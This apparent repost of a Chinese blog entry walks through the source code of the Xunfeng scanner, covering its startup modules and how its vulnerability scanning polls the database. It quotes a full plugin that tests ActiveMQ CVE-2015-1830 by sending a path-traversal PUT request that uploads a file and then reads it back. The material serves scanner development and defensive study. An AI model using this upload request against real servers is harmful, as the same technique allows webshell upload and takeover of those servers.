來自:https://blog.csdn.net/sojrs_sec/article/details/103368463,后面我會加單獨的的分析。
以前搭建過好幾次xunfeng,也看過幾次他的源碼,最近團隊准備做巡風的二次開發,就要再好好看下他的源碼了,我們知道巡風主要有兩個功能,資產發現和漏洞掃描,我主要負責漏洞掃描這塊,就先簡單記錄下這塊的大致流程
一:看源碼tip
看源碼,第一步看他的啟動程序,可以看run.sh,巡風的啟動程序主要就五塊
mongodb啟動:這里mongodb可以直接用二進制文件啟動,導入導出,默認啟動在本地的65521端口
web.py啟動:flask啟動網頁
Nascan: 資產掃描
Vulscan:漏洞掃描
Aider:輔助模塊,還不了解
二: vulscan流程
就上個我看源碼的時候畫的圖吧

總的來說,其實巡風源碼還是很簡單的,過程看上圖就可以,就講下我自己對巡風的感覺
1: 巡風的資產掃描和漏洞掃描都是基於數據庫中特定字段的改變,會有心跳線程,就是上面的monitor(),不斷的去檢查數據庫中字段。用戶在頁面上的操作,都是先改變數據庫內容而已。所以比如開啟某個漏掃任務,可能沒法馬上開始
2: 從數據庫字段中可以看到,原來團隊應該打算跟定時周期掃描資產一樣,做一個定時周期掃描漏洞的功能,在頁面上沒有這個功能,接下來我這邊會加一下這個功能
想想好像源碼也沒啥好說的。。還是比較簡單的
---------------------------------------------
看看源碼vuldb,
xunfeng/vulscan/vuldb/activemq_upload.py
# coding:utf-8
import socket
import time
import urllib2
import random
def get_plugin_info():
plugin_info = {
"name": "ActiveMQ unauthenticated RCE",
"info": "CVE-2015-1830,攻擊者通過此漏洞可直接上傳webshell,進而入侵控制服務器。",
"level": "緊急",
"type": "任意文件上傳",
"author": "wolf@YSRC",
"url": "http://cve.scap.org.cn/CVE-2015-1830.html",
"keyword": "title:ActiveMQ",
"source": 1
}
return plugin_info
def random_str(len):
str1 = ""
for i in range(len):
str1 += (random.choice("ABCDEFGH1234567890"))
return str1
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
filename = random_str(6)
flag = "PUT /fileserver/sex../../..\\styles/%s.txt HTTP/1.0\r\nContent-Length: 9\r\n\r\nxxscan0\r\n\r\n"%(filename)
s.send(flag)
time.sleep(1)
s.recv(1024)
s.close()
url = 'http://' + ip + ":" + str(port) + '/styles/%s.txt'%(filename)
res_html = urllib2.urlopen(url, timeout=timeout).read(1024)
if 'xxscan0' in res_html:
return u"存在任意文件上傳漏洞," + url
except:
pass
可以看到和IPS簽名匹配是一樣的。再看幾個:TODO,網太渣了。。。
